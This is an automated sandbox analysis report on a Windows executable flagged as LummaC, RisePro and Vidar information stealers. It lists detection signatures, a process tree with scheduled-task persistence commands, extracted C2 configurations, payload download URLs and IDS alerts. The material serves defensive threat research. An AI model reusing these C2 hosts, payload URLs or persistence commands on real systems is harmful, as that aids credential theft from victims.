Edit tour

Windows Analysis Report
1kBeqS7E3z.exe

Overview

General Information

Sample name:	1kBeqS7E3z.exe renamed because original name is a hash value
Original sample name:	9f7d8785aa5e359848ebe4d771f3de8d.exe
Analysis ID:	1459871
MD5:	9f7d8785aa5e359848ebe4d771f3de8d
SHA1:	70161505853a4cb3b2dc7eb690bde8b0f23b4d82
SHA256:	9cf43d480f6319717934b1a3f97682a4454c1742e2409aa416ba719e606c34ca
Tags:	32exetrojan
Infos:

Detection

LummaC, RisePro Stealer, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected RisePro Stealer

Yara detected Vidar stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Contains functionality to inject threads in other processes

Country aware sample found (crashes after keyboard check)

Creates multiple autostart registry keys

Found API chain indicative of sandbox detection

Found evasive API chain (may stop execution after checking mutex)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found stalling execution ending in API Sleep call

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Uses the system / local time for branch decision (may execute only at specific dates)

Yara signature match

Classification

Process Tree

System is w10x64

1kBeqS7E3z.exe (PID: 6668 cmdline: "C:\Users\user\Desktop\1kBeqS7E3z.exe" MD5: 9F7D8785AA5E359848EBE4D771F3DE8D)

RegAsm.exe (PID: 6740 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 6768 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 6788 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

schtasks.exe (PID: 7036 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_bdca866007fb255201297d2a15a49513 HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7156 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_bdca866007fb255201297d2a15a49513 LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

JNXEsB3lt_ta57yvH0nX.exe (PID: 7064 cmdline: "C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe" MD5: 9F7D8785AA5E359848EBE4D771F3DE8D)

RegAsm.exe (PID: 3624 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 3492 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

WerFault.exe (PID: 1860 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7064 -s 296 MD5: C31336C1EFC2CCB44B4326EA793040F2)

schtasks.exe (PID: 5852 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_22594e13276480dd456a8441babc227b HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 4320 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_22594e13276480dd456a8441babc227b LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

EWDN0G9BRDazVJeatNlA.exe (PID: 7032 cmdline: "C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe" MD5: B2F5D04FC1D63F47EC7CDC2B326B7E83)

RegAsm.exe (PID: 7124 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

WerFault.exe (PID: 6428 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7032 -s 260 MD5: C31336C1EFC2CCB44B4326EA793040F2)

schtasks.exe (PID: 7128 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06 HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6444 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06 LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 3900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

UD9d3d9BDMOjLcXwYzjP.exe (PID: 6736 cmdline: "C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe" MD5: F7A5C03E582FC4A5034DA5FA422A0F6C)

RegAsm.exe (PID: 4600 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

WerFault.exe (PID: 7196 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6736 -s 276 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 7004 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6668 -s 288 MD5: C31336C1EFC2CCB44B4326EA793040F2)

MSIUpdaterV168.exe (PID: 1900 cmdline: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe MD5: 9F7D8785AA5E359848EBE4D771F3DE8D)

MSIUpdaterV168.exe (PID: 2104 cmdline: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe MD5: 9F7D8785AA5E359848EBE4D771F3DE8D)

RegAsm.exe (PID: 7404 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

MSIUpdaterV168.exe (PID: 7176 cmdline: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe MD5: B2F5D04FC1D63F47EC7CDC2B326B7E83)

RegAsm.exe (PID: 7364 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

MSIUpdaterV168.exe (PID: 7188 cmdline: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe MD5: B2F5D04FC1D63F47EC7CDC2B326B7E83)

RegAsm.exe (PID: 7380 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 7396 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

MSIUpdaterV168.exe (PID: 7224 cmdline: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe MD5: F7A5C03E582FC4A5034DA5FA422A0F6C)

RegAsm.exe (PID: 7372 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 7412 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

MSIUpdaterV168.exe (PID: 7264 cmdline: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe MD5: F7A5C03E582FC4A5034DA5FA422A0F6C)

RegAsm.exe (PID: 7388 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: LummaC

{"C2 url": ["richardflorespoew.shop", "strwawrunnygjwu.shop", "justifycanddidatewd.shop", "raiseboltskdlwpow.shop", "falseaudiencekd.shop", "pleasurenarrowsdla.shop", "feighminoritsjda.shop", "marathonbeedksow.shop", "justifycanddidatewd.shop"], "Build id": "H8NgCl--default"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199699680841", "https://t.me/memve4erin"], "Botnet": "cac73a25dd295fef8853d330a75f6da4"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\U4XS0oCaLxVS1ZKFaAUvhYs.zip	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000022.00000002.1917031958.0000000000C38000.00000004.00000001.01000000.0000000C.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000016.00000002.1855823531.0000000000778000.00000004.00000001.01000000.00000009.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000021.00000002.1878372418.0000000000C38000.00000004.00000001.01000000.0000000C.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: EWDN0G9BRDazVJeatNlA.exe PID: 7032	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: EWDN0G9BRDazVJeatNlA.exe PID: 7032	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 7124	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7124	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSIUpdaterV168.exe PID: 7176	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: MSIUpdaterV168.exe PID: 7176	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSIUpdaterV168.exe PID: 7188	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: MSIUpdaterV168.exe PID: 7188	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
43.2.RegAsm.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x22408:$s1: JohnDoe 0x22400:$s2: HAL9TH
22.2.EWDN0G9BRDazVJeatNlA.exe.740000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
22.2.EWDN0G9BRDazVJeatNlA.exe.740000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x58c20:$s1: JohnDoe 0x58c18:$s2: HAL9TH
33.2.MSIUpdaterV168.exe.c00000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
33.2.MSIUpdaterV168.exe.c00000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x58c20:$s1: JohnDoe 0x58c18:$s2: HAL9TH
34.2.MSIUpdaterV168.exe.c00000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
34.2.MSIUpdaterV168.exe.c00000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x58c20:$s1: JohnDoe 0x58c18:$s2: HAL9TH
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\AdobeUpdaterV168_bdca866007fb255201297d2a15a49513\AdobeUpdaterV168.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, ProcessId: 6788, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeUpdaterV168_bdca866007fb255201297d2a15a49513

Snort Signatures

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 5.42.67.8 - Destination IP: 192.168.2.4

Timestamp:	06/20/24-06:49:25.377604
SID:	2046266
Source Port:	50500
Destination Port:	49778
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN RisePro TCP Heartbeat Packet - Source IP: 192.168.2.4 - Destination IP: 5.42.67.8

Timestamp:	06/20/24-06:49:01.492406
SID:	2049060
Source Port:	49732
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (falseaudiencekd .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	06/20/24-06:49:15.750299
SID:	2053676
Source Port:	60625
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (raiseboltskdlwpow .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	06/20/24-06:49:15.769416
SID:	2053674
Source Port:	53564
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (feighminoritsjda .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	06/20/24-06:49:15.713361
SID:	2053680
Source Port:	57326
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (External IP) - Source IP: 5.42.67.8 - Destination IP: 192.168.2.4

Timestamp:	06/20/24-06:49:05.398748
SID:	2046267
Source Port:	50500
Destination Port:	49732
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 5.42.67.8 - Destination IP: 192.168.2.4

Timestamp:	06/20/24-06:49:02.057189
SID:	2046266
Source Port:	50500
Destination Port:	49732
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (marathonbeedksow .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	06/20/24-06:49:15.689890
SID:	2053682
Source Port:	61750
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (justifycanddidatewd .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	06/20/24-06:49:15.678105
SID:	2053672
Source Port:	57238
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 5.42.67.8 - Destination IP: 192.168.2.4

Timestamp:	06/20/24-06:49:23.122745
SID:	2046266
Source Port:	50500
Destination Port:	49772
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.4 - Destination IP: 5.42.67.8

Timestamp:	06/20/24-06:49:05.192849
SID:	2046269
Source Port:	49732
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 5.42.67.8 - Destination IP: 192.168.2.4

Timestamp:	06/20/24-06:49:16.671807
SID:	2046266
Source Port:	50500
Destination Port:	49751
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (richardflorespoew .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	06/20/24-06:49:15.859160
SID:	2053668
Source Port:	53588
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (strwawrunnygjwu .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	06/20/24-06:49:15.789927
SID:	2053670
Source Port:	59171
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (pleasurenarrowsdla .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	06/20/24-06:49:15.737805
SID:	2053678
Source Port:	54451
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 5.42.67.8 - Destination IP: 192.168.2.4

Timestamp:	06/20/24-06:49:20.253266
SID:	2046266
Source Port:	50500
Destination Port:	49760
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 1kBeqS7E3z.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://feighminoritsjda.shop/	Avira URL Cloud: Label: malware
Source: https://162.55.53.18:9000/;P	Avira URL Cloud: Label: malware
Source: https://t.me/memve4erin	Avira URL Cloud: Label: malware
Source: http://5.42.65.116/rise1906.exe~R	Avira URL Cloud: Label: phishing
Source: https://162.55.53.18:9000/7	Avira URL Cloud: Label: malware
Source: http://5.42.65.116/lumma1906_2.exe	Avira URL Cloud: Label: phishing
Source: https://falseaudiencekd.shop/api	Avira URL Cloud: Label: malware
Source: https://162.55.53.18:9000/msvcp140.dll	Avira URL Cloud: Label: malware
Source: https://162.55.53.18:9000/G	Avira URL Cloud: Label: malware
Source: https://162.55.53.18:9000/softokn3.dll	Avira URL Cloud: Label: malware
Source: https://162.55.53.18:9000/freebl3.dllO.&d	Avira URL Cloud: Label: malware
Source: https://162.55.53.18:9000/vcruntime140.dll000/nss3.dll	Avira URL Cloud: Label: malware
Source: feighminoritsjda.shop	Avira URL Cloud: Label: malware
Source: https://strwawrunnygjwu.shop/api	Avira URL Cloud: Label: malware
Source: http://5.42.65.116/vidar1906.exe	Avira URL Cloud: Label: phishing
Source: https://162.55.53.18:9000/l	Avira URL Cloud: Label: malware
Source: https://162.55.53.18:9000/nss3.dlloft	Avira URL Cloud: Label: malware
Source: https://162.55.53.18:9000/vcruntime140.dll;NTd&	Avira URL Cloud: Label: malware
Source: https://162.55.53.18:9000/2f2b3osoft	Avira URL Cloud: Label: malware
Source: https://162.55.53.18/;	Avira URL Cloud: Label: malware
Source: https://162.55.53.18:9000/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: https://richardflorespoew.shop/api	Avira URL Cloud: Label: malware
Source: https://162.55.53.18:9000/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://5.42.65.116/lumma1906_2.exelF	Avira URL Cloud: Label: phishing
Source: https://162.55.53.18:9000/softokn3.dll2	Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199699680841	Avira URL Cloud: Label: malware
Source: https://justifycanddidatewd.shop/api	Avira URL Cloud: Label: malware
Source: https://162.55.53.18:9000/mozglue.dll	Avira URL Cloud: Label: malware
Source: https://162.55.53.18:9000/.53.18:9000/	Avira URL Cloud: Label: malware
Source: https://162.55.53.18:9000/nss3.dll$	Avira URL Cloud: Label: malware
Source: https://162.55.53.18:9000/softokn3.dllEdge	Avira URL Cloud: Label: malware
Source: http://5.42.65.116/lumma1906_2.exes	Avira URL Cloud: Label: phishing
Source: https://162.55.53.18:9000/sqlt.dll	Avira URL Cloud: Label: malware
Source: https://162.55.53.18:9000/.53.18:9000/0	Avira URL Cloud: Label: malware
Source: http://5.42.65.116/rise1906.exe	Avira URL Cloud: Label: phishing
Source: https://162.55.53.18:9000/msvcp140.dllEdge	Avira URL Cloud: Label: malware
Source: http://5.42.65.116/vidar1906.exeance.com	Avira URL Cloud: Label: phishing
Source: https://162.55.53.18:9000/vcruntime140.dllUser	Avira URL Cloud: Label: malware
Source: https://162.55.53.18:9000/vcruntime140.dllw	Avira URL Cloud: Label: malware
Source: https://162.55.53.18:9000/freebl3.dllQ.	Avira URL Cloud: Label: malware
Source: https://162.55.53.18:9000/vcruntime140.dllc	Avira URL Cloud: Label: malware
Source: https://162.55.53.18:9000/	Avira URL Cloud: Label: malware
Source: marathonbeedksow.shop	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe	Avira: detection malicious, Label: HEUR/AGEN.1317017
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vidar1906[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1317017
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Avira: detection malicious, Label: HEUR/AGEN.1317017
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\lumma1906_2[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1317017
Source: C:\Users\user\AppData\Local\AdobeUpdaterV168_22594e13276480dd456a8441babc227b\AdobeUpdaterV168.exe	Avira: detection malicious, Label: HEUR/AGEN.1317017
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Avira: detection malicious, Label: HEUR/AGEN.1317017
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\rise1906[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1317017
Source: C:\Users\user\AppData\Local\AdobeUpdaterV168_22594e13276480dd456a8441babc227b\AdobeUpdaterV168.exe	Avira: detection malicious, Label: HEUR/AGEN.1317017
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Avira: detection malicious, Label: HEUR/AGEN.1317017
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Avira: detection malicious, Label: HEUR/AGEN.1317017
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Avira: detection malicious, Label: HEUR/AGEN.1317017
Source: C:\Users\user\AppData\Local\AdobeUpdaterV168_22594e13276480dd456a8441babc227b\AdobeUpdaterV168.exe	Avira: detection malicious, Label: HEUR/AGEN.1317017

Found malware configuration

Source: 00000016.00000002.1855823531.0000000000778000.00000004.00000001.01000000.00000009.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199699680841", "https://t.me/memve4erin"], "Botnet": "cac73a25dd295fef8853d330a75f6da4"}
Source: 38.2.MSIUpdaterV168.exe.d80000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["richardflorespoew.shop", "strwawrunnygjwu.shop", "justifycanddidatewd.shop", "raiseboltskdlwpow.shop", "falseaudiencekd.shop", "pleasurenarrowsdla.shop", "feighminoritsjda.shop", "marathonbeedksow.shop", "justifycanddidatewd.shop"], "Build id": "H8NgCl--default"}

Multi AV Scanner detection for domain / URL

Source: justifycanddidatewd.shop	Virustotal: Detection: 13%	Perma Link
Source: strwawrunnygjwu.shop	Virustotal: Detection: 13%	Perma Link
Source: richardflorespoew.shop	Virustotal: Detection: 14%	Perma Link
Source: falseaudiencekd.shop	Virustotal: Detection: 13%	Perma Link
Source: marathonbeedksow.shop	Virustotal: Detection: 14%	Perma Link
Source: raiseboltskdlwpow.shop	Virustotal: Detection: 13%	Perma Link
Source: feighminoritsjda.shop	Virustotal: Detection: 12%	Perma Link
Source: pleasurenarrowsdla.shop	Virustotal: Detection: 13%	Perma Link
Source: https://feighminoritsjda.shop/	Virustotal: Detection: 13%	Perma Link
Source: http://5.42.65.116/lumma1906_2.exe	Virustotal: Detection: 25%	Perma Link
Source: richardflorespoew.shop	Virustotal: Detection: 14%	Perma Link
